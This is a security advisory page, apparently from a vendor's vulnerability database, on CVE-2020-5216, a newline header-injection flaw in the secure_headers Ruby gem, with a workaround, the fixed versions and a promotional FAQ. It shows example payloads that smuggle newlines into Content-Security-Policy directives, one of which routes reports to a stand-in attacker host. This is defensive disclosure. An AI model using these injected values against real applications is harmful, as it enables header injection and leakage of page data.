CVE-2020-5216

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

• Open an issue in this repo
• DM us at @ndm on twitter

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

CVE-2020-5216 has a CVSS score of 4.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.3.0, 5.2.0, 3.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

1. What is CVE-2020-5216? CVE-2020-5216 is a medium-severity security vulnerability in secure_headers (rubygems), affecting versions >= 6.0.0, < 6.3.0. It is fixed in 6.3.0, 5.2.0, 3.9.0.
2. How severe is CVE-2020-5216? CVE-2020-5216 has a CVSS score of 4.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of secure_headers are affected by CVE-2020-5216? secure_headers (rubygems) versions >= 6.0.0, < 6.3.0 is affected.
4. Is there a fix for CVE-2020-5216? Yes. CVE-2020-5216 is fixed in 6.3.0, 5.2.0, 3.9.0. Upgrade to this version or later.
5. Is CVE-2020-5216 exploitable, and should I be worried? Whether CVE-2020-5216 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2020-5216 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2020-5216?
   • Upgrade secure_headers to 6.3.0 or later
   • Upgrade secure_headers to 5.2.0 or later
   • Upgrade secure_headers to 3.9.0 or later

Other vulnerabilities in secure_headers